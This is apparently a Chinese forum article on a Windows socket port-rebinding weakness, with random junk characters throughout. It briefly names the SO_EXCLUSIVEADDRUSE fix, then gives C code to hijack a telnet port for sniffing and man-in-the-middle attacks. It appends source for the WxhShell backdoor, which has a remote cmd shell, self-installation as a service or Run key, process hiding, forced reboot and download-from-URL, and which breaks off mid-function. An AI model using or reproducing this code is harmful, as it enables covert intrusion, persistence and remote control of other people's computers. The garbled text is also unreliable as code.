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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -8rjgB~."/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \K<QmK a+T.^koY saddr.sin_family = AF_INET; K>l~SDcZ3 78H'ax9m saddr.sin_addr.s_addr = htonl(INADDR_ANY); Nm>A'bLM W1FI mlXS bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4 vV:EF- +|>kCtZH% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }k
G9!sf we?76t:- 这意味着什么?意味着可以进行如下的攻击: N<KS(@v
y O|N{v"o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xLZG:^(I a"g!e^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *%t^;&x? E'.7xDN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3CGp`~Zf k/gZ, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Q7COQ2~K
H =^`! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }:*]aL<7_ #3 pb(fbw 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B|AV$N* B\:%ufd
~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
)sp4Ie x`IEU*z# #include %O;bAC_M #include n`&U~s8w #include ["e3Ez #include U\<?z Dw DWORD WINAPI ClientThread(LPVOID lpParam); o"BoZsMk int main() WYYa/,{9. { "E?2xf|. WORD wVersionRequested; Hi`//y*92H DWORD ret; @)&=% WSADATA wsaData; ,47Y9Kz9 BOOL val; PJrtMAcKq SOCKADDR_IN saddr; 4G>H SOCKADDR_IN scaddr; (<oyN7NT int err; ?r 2` Q SOCKET s; LRG6:& SOCKET sc; pWsDzb6?% int caddsize; fG(SNNl+D HANDLE mt; TNh1hhJ$b DWORD tid; P{+T<bk| wVersionRequested = MAKEWORD( 2, 2 ); 8j\cL' err = WSAStartup( wVersionRequested, &wsaData ); )fSOi||C if ( err != 0 ) { r|PB*` printf("error!WSAStartup failed!\n"); YLE!m? return -1; J9iy } X;c'[q saddr.sin_family = AF_INET; o/Q;f@ !pdb'*,n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O[)kboY 5m(^W[u ` saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [ )dXI IM saddr.sin_port = htons(23); JU5C}%Q6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 28J^DMOW { w{@ o^rs printf("error!socket failed!\n"); ouFYvtF g return -1; ]cMqahaY } f-n1I^| val = TRUE; 7.#F,Ue_0T //SO_REUSEADDR选项就是可以实现端口重绑定的 R1GEh&U{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4X
|(5q? { | Aw%zw1@ printf("error!setsockopt failed!\n");
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return -1; t+iHQfuP9A } %H&@^Tt a //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m~d]a$KQ5- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~`\?"s: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =i*;VFc ]4]6Qki if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %)I{%~u0 { aV|hCN~ ret=GetLastError(); LS*y printf("error!bind failed!\n"); g^{@'}$ return -1; es&vMY } |O9O )o listen(s,2); }h!f eP while(1) f;gw"onx8F { T<p !5`B 1 caddsize = sizeof(scaddr); EYEnN //接受连接请求 :~T99^$zA sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,\n&I( if(sc!=INVALID_SOCKET) n}G|/v<
{ FZ,#0ZYJGP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6ne7]RY if(mt==NULL) X_|J@5b7 { R$TB1w9] printf("Thread Creat Failed!\n"); QpA/SmJ break; 71gT.E } )ZqTwEr@[ } $5<#n@
CloseHandle(mt); Y>G@0r BG } ,TN
2 closesocket(s); w6GyBo{2O_ WSACleanup(); cm[&? return 0; Dq5j1m. } FrYqaP DWORD WINAPI ClientThread(LPVOID lpParam) X4E%2-m@' { a8iQ4
SOCKET ss = (SOCKET)lpParam; f@DYN!Z_m SOCKET sc; h=kh@}, unsigned char buf[4096]; `A^"%@j SOCKADDR_IN saddr; #( jw!d& long num; ,5,!es@`b DWORD val; u\{ g(li-I DWORD ret;
!0@Yplj //如果是隐藏端口应用的话,可以在此处加一些判断 fM63+9I)\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ZUR6n>r saddr.sin_family = AF_INET; 4?7W+/~<& saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ytoo~n saddr.sin_port = htons(23); /ZPyN<@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `~Zs0 { QQ ~- printf("error!socket failed!\n"); EzV96+ return -1; DV-;4AxxRq } "C SC val = 100; 5b[jRj6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]0)|7TV* { WP+oFkw> ret = GetLastError(); f Tl<p&b return -1; 4K\(xd&Q } ]<pjXVRt" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m~u5kbHOi= { e5B Qr$j ret = GetLastError(); m{uxIza return -1; )3w@]5j } A1#%`^W9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #+5pgD2C { x`mN U printf("error!socket connect failed!\n"); WKIoS"?-F closesocket(sc); tj4VWJK closesocket(ss); U($dx.`v# return -1; {(wHPzq } Nkl_Ho, while(1) @$c\dvO { ^!z[t\$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <$~mE9a6 //如果是嗅探内容的话,可以再此处进行内容分析和记录 i Ae<&Ms //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \\7ZWp\fN num = recv(ss,buf,4096,0); NchXt6$i9 if(num>0) (B_\TdQ send(sc,buf,num,0); "xHg qgFyO else if(num==0) ;)e2@'Agl break; "WK{ >T num = recv(sc,buf,4096,0); o=?C&f{ if(num>0) U1RpLkibQ send(ss,buf,num,0); [uls8
"^/j else if(num==0) *"n vX2iz break; [E
JQ>?D } Jesjtcy<* closesocket(ss); [P7N{l=I closesocket(sc); ICkp$u^ return 0 ; 0B@Jity#! } Qj6/[mUr~ p2udm! )J y+6o{`0 ========================================================== <5jzl y2vUthRwo 下边附上一个代码,,WXhSHELL Zx bq i35=Y~P- ========================================================== ^? ]%sdT q Yvjc1 #include "stdafx.h" Qx47l 6 9NQ]{1 #include <stdio.h> 3?Pn6J{O #include <string.h> '07P&g- #include <windows.h> WT`4s #include <winsock2.h> ixQJ[fH10 #include <winsvc.h> [$"n^5_~ #include <urlmon.h> pV,P|>YTf
q^L<X) #pragma comment (lib, "Ws2_32.lib") (tGY%oT" #pragma comment (lib, "urlmon.lib") P(73!DT+ J8)#PY[i4 #define MAX_USER 100 // 最大客户端连接数 P7MeX(Tay #define BUF_SOCK 200 // sock buffer z0*_^MH #define KEY_BUFF 255 // 输入 buffer }HYjA4o\A jR#~I@q^ #define REBOOT 0 // 重启 _({A\}Q| #define SHUTDOWN 1 // 关机
=xJKIu G0;XaL: #define DEF_PORT 5000 // 监听端口 ^:* 1d
\ ?Wt$6{) #define REG_LEN 16 // 注册表键长度 pd8Nke #define SVC_LEN 80 // NT服务名长度 JEgx@};O B7<Kc // 从dll定义API Ch%m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /<8N\_wh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vy,^)] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;~u{56 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f'{]"^e= ku
a)
K! // wxhshell配置信息 0}xFD6{X struct WSCFG { k`p74MWu int ws_port; // 监听端口 |7pR)KH3 char ws_passstr[REG_LEN]; // 口令 \Z/)Y;|mi0 int ws_autoins; // 安装标记, 1=yes 0=no *"r~-&IL char ws_regname[REG_LEN]; // 注册表键名 o9S+6@ char ws_svcname[REG_LEN]; // 服务名 lF?tQB/a char ws_svcdisp[SVC_LEN]; // 服务显示名 S&Ee,((E( char ws_svcdesc[SVC_LEN]; // 服务描述信息 h=_0+\% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v\"S
Gc int ws_downexe; // 下载执行标记, 1=yes 0=no Io|Aj char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 0{PzUIM,W char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =)`
p_W t2iv(swTe }; ~~,rp) ) <K4,7J$}h // default Wxhshell configuration ZzBQe struct WSCFG wscfg={DEF_PORT, U}l14 "xuhuanlingzhe", zf>5,k'x'A 1, FwZ>{~?3 "Wxhshell", 5W@jfh) "Wxhshell", v[n7" "WxhShell Service", gxMfu?zk" "Wrsky Windows CmdShell Service", wL^%w9q- "Please Input Your Password: ", 'EfR|7m 1, 4r0b)Y&I " http://www.wrsky.com/wxhshell.exe", Yl$SW;@ "Wxhshell.exe" g@Qgxsyk> }; 0W()lQ `\6?WXk3T // 消息定义模块 rJInj>|{= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %F*|;o7 s char *msg_ws_prompt="\n\r? for help\n\r#>"; *d',Vuv&[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; d 'Axum@ char *msg_ws_ext="\n\rExit."; u}|%@=xn char *msg_ws_end="\n\rQuit."; .ol'.t,S char *msg_ws_boot="\n\rReboot..."; T!}[yW char *msg_ws_poff="\n\rShutdown..."; UD y(v ] char *msg_ws_down="\n\rSave to "; *8tI*Pus cFF*Z=L_ char *msg_ws_err="\n\rErr!"; 9A7@
5F char *msg_ws_ok="\n\rOK!"; "h7tnMS )
(Tom9^ char ExeFile[MAX_PATH]; H<G4O02i_ int nUser = 0; 3TZ*RPmFRm HANDLE handles[MAX_USER]; KB!|B.ChN( int OsIsNt; ;eZ#b jw-d $eBX SERVICE_STATUS serviceStatus; `O8b1-1q~ SERVICE_STATUS_HANDLE hServiceStatusHandle; eVcANP AisN@ // 函数声明 [J0v&{)? int Install(void); =60~UM int Uninstall(void); q(5+xSg"gK int DownloadFile(char *sURL, SOCKET wsh); lw(e3j int Boot(int flag); U70]!EaT void HideProc(void); PSmfiaThwo int GetOsVer(void); 0G2g4DSKD int Wxhshell(SOCKET wsl); Zf>^4_x3P void TalkWithClient(void *cs); (?b@b[D~4 int CmdShell(SOCKET sock); A;u" <KG? int StartFromService(void); 5]1h8PW!Y int StartWxhshell(LPSTR lpCmdLine); $.489x+'Z xT)psM'CL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .\qj;20W VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8g>b [!VOw@uz // 数据结构和表定义 U#o'H @ SERVICE_TABLE_ENTRY DispatchTable[] = 6R29$D|HFO { 7.+#zyF {wscfg.ws_svcname, NTServiceMain}, 9=/N|m8. {NULL, NULL} [;b=A }; kV Rn`n0 -n? g~(/P // 自我安装 .M4IGOvOS int Install(void) OW(&s,|6x { Ih[+K#t+E char svExeFile[MAX_PATH]; ?QDWuPhN HKEY key; M'1!<a-Mp strcpy(svExeFile,ExeFile); rB%$;<`/ =N|kn<h4 // 如果是win9x系统,修改注册表设为自启动 ^SfS~GQ if(!OsIsNt) { jAsO8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t%r :4, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?oiKVL"7 RegCloseKey(key); '~wpP=<yyF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jRpdft RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2~;&g?T6 RegCloseKey(key); 0%;146.p return 0; )OsLrq/ } s/1 #DM" } YO:&;K% } jec:i-, else { `4CWE_k WnAd5#G // 如果是NT以上系统,安装为系统服务 I}Xg&-L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K$REZe if (schSCManager!=0) )DUL)S { L6i|:D32p SC_HANDLE schService = CreateService %E27.$E_ ( ~-F?Mc schSCManager, uC]Z8&+obb wscfg.ws_svcname, 7=*VpX1 wscfg.ws_svcdisp, u; TvS
| SERVICE_ALL_ACCESS, WIh@y2&R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p11G#.0 SERVICE_AUTO_START, i3
)xX@3 SERVICE_ERROR_NORMAL, O hR1Jaed svExeFile, G(1 K9{i$ NULL,
c~dM`2J, NULL, 5GAy "Xd NULL, emA!Ew(g NULL, u&TdWZe NULL $X+u={] ); pyW u9 if (schService!=0) =<<3Pkv7@ { }1%r%TikY CloseServiceHandle(schService); |[cdri^?D CloseServiceHandle(schSCManager); S9Yt 1qb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3#<*k>1G? strcat(svExeFile,wscfg.ws_svcname); /axTh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QlW=_Ymv{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z]-WFU_
N RegCloseKey(key); s!6=|SS7 return 0; p#_[ } xT F=Y_ } 04y!\ CloseServiceHandle(schSCManager); D(r:}pyU } qvLDfN } C 7nKk/r !g0cC.' return 1; $<ddy/4 } GF--riyfB U 0ZB^` // 自我卸载 :LV.G0)# int Uninstall(void) ~r`Wr`]_ z { BGjb`U#%3 HKEY key; sS,#0Qt. R.7#zhC`4 if(!OsIsNt) { h}=M^SL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \OHv|8!EI@ RegDeleteValue(key,wscfg.ws_regname); Z|`fHO3j RegCloseKey(key); =%h~/, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nN ~GP"} RegDeleteValue(key,wscfg.ws_regname); #Mi|IwL RegCloseKey(key); ^&:'NR return 0; WaYO1*= } FWTx&Ip } 1| xN%27> } |ft:|/^F& else { }h~'AM /=
^L
iP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xtJAMo>g if (schSCManager!=0) _IYY08&(r { A'DVJ9%xB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u3wL<$2[8 if (schService!=0) X7e/:._SAH { J#7(]!;F if(DeleteService(schService)!=0) { R[yL_> CloseServiceHandle(schService); dokuyiN\ CloseServiceHandle(schSCManager); Uh+jt,RB` return 0; dp^N_9$cdO } v"k4ATWP CloseServiceHandle(schService); &] 3:D } yzc pG6, CloseServiceHandle(schSCManager); w<d*#$[,* } &`PbO } SLA#= K >}F? <JB return 1; L<@&nx } $'$>UFR #K`B<2+T // 从指定url下载文件 Bz]J=g7 int DownloadFile(char *sURL, SOCKET wsh) $GF&x>]] { @Qo,p HRESULT hr; A1<k1[5fJ char seps[]= "/"; MYTS3( char *token; `D)S-7BR char *file; +(AwSh ! char myURL[MAX_PATH]; @9_)On9hZ char myFILE[MAX_PATH]; MhH);fn Z1]"[U[; strcpy(myURL,sURL); q)Je.6$#X token=strtok(myURL,seps); X RRJ)}P while(token!=NULL) >q &L/N5 { ` Xqy file=token; $SF3odpt token=strtok(NULL,seps); Th+|*=Il } hgj0tIi/ k6g|7^es2 GetCurrentDirectory(MAX_PATH,myFILE); 4(iS-8{J strcat(myFILE, "\\"); 7z>+w strcat(myFILE, file); L{K*~B -p send(wsh,myFILE,strlen(myFILE),0); *dVD send(wsh,"...",3,0); F`D9Zfd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Nz @8 if(hr==S_OK) !pS~'E&q return 0; sWW\bK0B4 else y7;
5xF?q return 1; Heohe|an t;XS;b% } XbXgU#% *cy.*@d // 系统电源模块 .9I_NG int Boot(int flag) 6)+9G_ { &"O_wd[+: HANDLE hToken;
4I1K vN<A TOKEN_PRIVILEGES tkp; *lY+Yy( cqHw^{'8 if(OsIsNt) { vK`S!7x'& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I tgH>L' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qf~| S9, tkp.PrivilegeCount = 1; [Z% l. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <mn-=#) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &X7ttB"#h if(flag==REBOOT) { ,{TQ
~LP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,@,LD u return 0; /W``LK>;? } }*ODM6 else { Z
c<]^QR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z}mvX.j7 return 0; 7ozYq_ $ } <M`-`v6H } "j
+v,js else { Q+/R
JM?3@ if(flag==REBOOT) { ;_wMWl0F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ],$6&Cm return 0; =QTmK/(|B } v6KL93 else { C,R,:zR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \cFAxL( return 0; i~ROQMN1 } taBO4LV } 3lyQn" _i.({s&_9 return 1; tc5M$b3^2 } AtuZF
wbl${@4 // win9x进程隐藏模块 8\P
JSr void HideProc(void) i:R!T, { "{mt? )ZviS. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UVnrDhd!0 if ( hKernel != NULL ) }3Df] { jf2y0W>6s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8R
BDJ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); enWF7` FreeLibrary(hKernel); yi&?d&rK } !OV|I 57'q;I return;
:Q8g?TZ } %{=4Fa(Jux y}CkzD // 获取操作系统版本 i:\bqK int GetOsVer(void) |c]> Q { 2c!h2$w OSVERSIONINFO winfo; f*UBigk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S_`W@cp[ GetVersionEx(&winfo); 'o7R/`4KR if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `9]P/J^ return 1; 'et(:}i else q`h7H][(A return 0; ryz/rf } ]cS&8{ ^2 IQo]9Lx // 客户端句柄模块 s_x=^S3~LO int Wxhshell(SOCKET wsl) Cb+P7[X- { `6dy
U_f SOCKET wsh; #!(Zn:[ struct sockaddr_in client; A!n~8zcmp} DWORD myID; X9p+a, LqMe'z while(nUser<MAX_USER) 7 _X&5ni { #tCIuQ, int nSize=sizeof(client); eOO!jrT: wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YmdsI+DbIu if(wsh==INVALID_SOCKET) return 1; 2K5}3<KD/ cq-e
c7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *G8'Fjin'T if(handles[nUser]==0) Qf/j: closesocket(wsh); Jv-zB]3& else 2pVVoZV.< nUser++; j*zB
{ s
K } sxf}Mmsk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ADuZ}] *'kC8ZR5 return 0; /W7&U
=d9 } aY3pvOV s{b0#[ // 关闭 socket >1_Dk7E0D void CloseIt(SOCKET wsh) ?*B;514 { tsCz+MP closesocket(wsh); ^xBb$ nUser--; F Bd+=bx,Z ExitThread(0); FjK Ke7 } =M Q2sb X20<r?^,, // 客户端请求句柄 :7zI3Ml@7 void TalkWithClient(void *cs) 1c1e+H { EU`'
8*4 \"<GL; SOCKET wsh=(SOCKET)cs; yQ72v' char pwd[SVC_LEN]; D'U\]'. char cmd[KEY_BUFF]; +H5 jRw char chr[1]; \JF57t}Zk int i,j; nS?S6G5h m-Mhf; while (nUser < MAX_USER) { PX+"" # s?1-$|* if(wscfg.ws_passstr) { iPRJA{$b_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]9!Gg //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G <} 7vF //ZeroMemory(pwd,KEY_BUFF); 3hp
tP i=0; >KH(nc$ while(i<SVC_LEN) { !XG/,)A {&6l\| // 设置超时 [346w
< fd_set FdRead; Th I struct timeval TimeOut; $D0)j(v FD_ZERO(&FdRead); 0B#rqTEKu FD_SET(wsh,&FdRead); mP`,I"u TimeOut.tv_sec=8; 6|>"0[4S TimeOut.tv_usec=0; si+5h6I.} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 55u^u F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1tuator
4AG&z,[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [qc6Q: pwd =chr[0]; z{<q0.^EFh if(chr[0]==0xd || chr[0]==0xa) { _.s\qQ pwd=0; 72BzvY. break; +4p2KYO } lcuH]z i++; {Hrr:hC } OP\^c O~c+$( // 如果是非法用户,关闭 socket tPMgZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0|f_C3 } 8.
~Euz btkMY<o7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EHE6-^F send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *o2_EqXL* GtGyY0 while(1) { 8k*k ]c~ rPi ZeroMemory(cmd,KEY_BUFF); p]J]<QaZD Cys/1DkE // 自动支持客户端 telnet标准 u8$~N$L j=0; PhI{3B/ while(j<KEY_BUFF) { 123-i,epg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PdE)m/ cmd[j]=chr[0]; dzk?Zg if(chr[0]==0xa || chr[0]==0xd) { >u%[J!Y;; cmd[j]=0; eN7yjd'Y6 break; PT=2LZ } !Dhfr{ j++; eQ4B5B%j/x } \t7zMp +q>C}9s3 // 下载文件 & t @ if(strstr(cmd,"http://")) { rUJSzLy send(wsh,msg_ws_down,strlen(msg_ws_down),0); ygu?w7 if(DownloadFile(cmd,wsh)) '~!l(&X send(wsh,msg_ws_err,strlen(msg_ws_err),0); +&@l{x(, else RM/ s: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9EY_R&Yq% } >LRaIU> else { `;8u9Ff !{|yAt9kP switch(cmd[0]) { x,@O:e o2t@-dNi // 帮助 4$#ia
F case '?': { O,z%7>< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1tK6lrhj break; e^K=8IW } Yc( )'6 // 安装 A?<"^<A^ case 'i': { gJ}'O4*b if(Install()) ;L/T}!Dx send(wsh,msg_ws_err,strlen(msg_ws_err),0); m'vOFP)' else I$sm5oL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EXScqGa] break; G5Dji_ | } c~u
F // 卸载 KfI$'F
#"/ case 'r': { 3hpz.ISk if(Uninstall()) Et[QcB3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); hgMnO J else .<|4PG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y$DgL
h break; *1 eTf } '3kL=( // 显示 wxhshell 所在路径 aABE= 9Y case 'p': { we@En
.>f char svExeFile[MAX_PATH]; (Su2\x strcpy(svExeFile,"\n\r"); 0yEyt7
~@ strcat(svExeFile,ExeFile); )SZ,J-H08w send(wsh,svExeFile,strlen(svExeFile),0); 5=;I|l, break; `J;/=tf09 } Zm'::+tl // 重启 wBaFC\CW case 'b': { 4~J1pcBno% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /$N#_Xblr if(Boot(REBOOT)) =u1w\>( 2Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,)\5O0 D6 else { mf_9O closesocket(wsh); H0Gp mKYW ExitThread(0); "7u"d4h-:( } H@bmLq break; 7'l{I'Z } x#xO { // 关机 ?p\II7 case 'd': { 7m)ykq:? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7=[O6<+o if(Boot(SHUTDOWN)) J!gWRw5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -O q=J; else { 29E@e]Y,` closesocket(wsh); o\Vt $ ExitThread(0); p[+me o } LFry?HO,D break; Rhxm)5 + } loVvr"&g // 获取shell XzwQ,+IAr case 's': { Zvw3C%In CmdShell(wsh); 9MlfZsby closesocket(wsh); }qX&*DU_@ ExitThread(0); 74N\G1 break; rnrx%Q } `e69kBAm // 退出 m&vYZ3vK[ case 'x': { ~.=!5Ry send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z.F+$6 CloseIt(wsh); <'yC:HeAwD break; 9w<_XXQ } ]d;/6R+Vs // 离开 u~Cqdr5
\l case 'q': { I&@@v\$* send(wsh,msg_ws_end,strlen(msg_ws_end),0); \:^n-D*fX closesocket(wsh); aNEy1-/(\ WSACleanup(); RJm8K,3# exit(1); -2~yc2:>A break; ]cY'6'}Hz } 5m;wMW< } zEL[%(fnc } Ljs(<Gm)- p%qL0
// 提示信息 B=xZkc if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &K*_/Q
'\ } ATkqzE`; } #6Ph"\G/ 8*){*'bf return; CUM~* } DY27' `n6 .VV!$;
FB // shell模块句柄 g5HqU2 int CmdShell(SOCKET sock) `6F8Kqltr { 9 W
r(w STARTUPINFO si; n;Wf|> ZeroMemory(&si,sizeof(si)); {oC69n: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8+b3u05 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r_CN/ a PROCESS_INFORMATION ProcessInfo; v~=ol8J
B char cmdline[]="cmd"; eEFT(e5.>3 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eWs^[^c.< return 0; jWCC`0
T } <qiap2 enepAu-="p // 自身启动模式 O!yn
`<l int StartFromService(void) 30-wTcG { fxa^SV typedef struct /1GZN *I { FA GVpO[ DWORD ExitStatus; U9OF0=g DWORD PebBaseAddress; (G;*B<|A DWORD AffinityMask; R-|]GqS}L DWORD BasePriority; P"VLGa ULONG UniqueProcessId; 4r!40^:2 ULONG InheritedFromUniqueProcessId; FNO
